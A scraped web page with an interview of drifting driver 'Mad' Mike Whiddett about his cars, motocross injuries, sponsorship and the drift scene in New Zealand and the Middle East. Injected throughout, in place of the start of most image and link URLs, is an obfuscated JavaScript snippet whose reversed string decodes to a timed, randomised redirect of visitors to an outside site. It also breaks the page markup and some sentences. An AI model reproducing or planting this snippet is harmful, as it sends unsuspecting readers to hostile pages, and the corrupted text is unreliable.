$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-002.jpg”>
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-002.jpg” alt=”” width=”728″ height=”485″ />
What is your favourite car to drift?
“The only stock car I’ve drifted is the Chevrolet Camaro. Everything else has been come from Mazda, and the old school streetcars, which are a lot harder to drift. The RX7 is super violent, because it’s got a short wheel base and is quite wide. If I went to competition and wanted to win, I’d take the RX8. It’s got more power, more torque, it’s the same length but has a longer wheelbase. The transmission is a lot smoother. The RX7 is super violent, has a lot of power, but no torque, so it’s like a 125 motocross bike. It’s hard work, compared with the V8. That has so much power, you can just keep it in fourth gear and it’ll still perform!”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-019.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-019.jpg” alt=”” width=”728″ height=”485″ />
You started off in Motocross, looking for bigger and better thrills which led to numerous concussions and broken bones. What inspired you to keep coming back and to keep competing?
“It was the adrenaline. Absolutely! To have 10,000 fans screaming your name is just amazing! Even when doing the FMX, a lot of riders would start off with the easier tricks and then work up to their hardest trick at the end of their run. I’d come out blazing, and my first one would be the biggest, hardest one I could do. Straight away that would get the crowd up and jumping. I also rode a 125, which gave the bike a different note. When I hit the ramp, it sounded like I was going twice as fast as everyone on the 250s! So yeah, I wanted to keep coming back for the fans.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-013.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-013.jpg” alt=”” width=”728″ height=”485″ />
“But oh man, the injuries. The biggest one I had was when I snapped my femur right at the top, and had to have my leg reconstructed with titanium rods. Then shortly after that healed, I compressed four vertebrae in my back. I was doing a Steriliser, which is where you land sitting on the seat but with your legs still over the handlebars. For that you need to get the down ramp angle perfect because the suspension takes all the impact. A big blast of wind blew me straight past the down ramp and I landed square on the ground from about 95 feet up.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-010.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-010.jpg” alt=”” width=”728″ height=”485″ />
[We don’t really know how to spell crankandpiston’s reaction at this moment, but suffice to say ‘ouch!’ doesn’t really cover it!]
“That was really serious actually. They told me I’d be paralysed for life from my seventh vertebrae down. Eight hours later I could feel pins and needles in my feet. It turned out the swelling in my back had pinched a nerve, and that cut all the feeling. The doctors said that it was a one in a million chance. That didn’t stop me riding though! (laughs)”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-012.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-012.jpg” alt=”” width=”728″ height=”485″ />
What was the main influence on your decision to switch from motocross to drifting?
“Injury mainly. I was always brought up on a limited budget. Never met my father, and my mum’s never been super wealthy, but she does as much as she can. But when I was racing motocross it was really hard for her. I was really competitive, so I was always after new tyres, new clutch plates, etc. I had the passion but after a while, the racing just got too expensive.
“So in 1999, I did the first ever freestyle motocross demonstration in New Zealand. It’s a big day out and a huge festival we have every year, with rock bands and hip-hop just before New Year We put on quite a show there, and of course the ‘Mad Mike’ name came from that. I did that for three years, and those three years broke pretty much every bone in my body! Then I saw these drifting competitions and thought, ‘damn, I can do this’. I’d been thrashing cars around the paddocks and bouncing them off fence posts since I was young! One thing led to another and the rest is history.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-015.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-015.jpg” alt=”” width=”728″ height=”485″ />
What is it about you – ‘Mad’ Mike Whiddett – that keeps the big names and the big sponsors coming to you? What can you offer?
“Well I guess it’s the progression in the sport. I’m into drifting to grow the sport as much as grow myself and my partners. It’s more than just ‘Mad Mike’. Every year, I just put myself in my fans shoes: I always want to step up the bar and keep changing things, so every year we go a little bigger. We’ve been voted Driftcar of the Year [with both the Madbul X7 and Badbul X8] by the fans a few times now, and that just inspires me to think outside the box and create not only competitive cars but stuff that looks cool!
“Drifting when it originated was never about the fastest car, it was about who looked the coolest on-track. With the amount of money we pour into our cars, we could make them a lot more competitive and have them look a lot worse and win everything! Drifting is 50% performance, 50% show. So yeah, I bring a show!”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-030.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-030.jpg” alt=”” width=”728″ height=”485″ />
Let’s talk a bit about drifting in the region. The Red Bull Car Park Drift is a big event, but so too is Drift UAE, which at the moment is struggling. What do you think could bring interest back to drifting in the Middle East, and internationally?
“Well for starters we need easy venues for everyone to get to any type of person, whether you’re a teenager with a Toyota Corolla or…actually what are the cheap cars to get over here…?
Depends what you mean by ‘cheap’. We’ve heard you can grab a Nissan GT-R or a Mitsubishi Evo for a dirham or two if you speak to the right people!
“Okay, good options there (laughs)! But yeah, we want to make it easy for the younger generation to get into, and that’s what’s going to keep the sport afloat. That’s what appeals about the Red Bull Car Park Drift. It doesn’t matter what age you are or what car you have. You can just come down and enter!
“I think trying to get more people off the streets onto the track where it’s a lot safer, the speeds are much higher and the adrenaline a lot better. I think with things like Formula Drift or Drift UAE, you can enter your full pro-spec Formula B car, or enter your Toyota Corolla and BMW 5 Series, and anything could win! At how could that not bring people into the sport?!”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-009.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mad-Mike-Whiddett-Red-Bull-Jordan-009.jpg” alt=”” width=”728″ height=”485″ />
Would you say that drifting is more of a regional pursuit? It’s certainly has greater impact on the motorsport scene in the Middle East than it does say in Europe…
“Well in Australia and New Zealand, we have the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/v8-supercars/” target=”_blank”>V8 Supercars. That’s the biggest motorsport event out there, and so they perceive drifting as boy racers: kids off the street, y’know. They don’t really rate the USA-spec drift series that have the manufacturers behind it: Ford, Chevy, Dodge, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/red-bull-tv/” target=”_blank”>energy drink sponsorship and tyres manufacturers and so on. So in the USA, it’s all super elite brands and multi-million dollar investments.
“In New Zealand, it’s still seen as a boy racer sport, so it’s hard in that respect to keep the sport evolving when all it takes is one kid to do a donut on a roundabout, and people are up in arms! That’s not proper drifting anyway. The cars we use can hit 200kph, run full safety equipment, plus we’ve got FIA-spec helmets, suits and it’s a safe environment. I mean that’s what professional drifting is, and hopefully people all over the world can see that with events like this.”
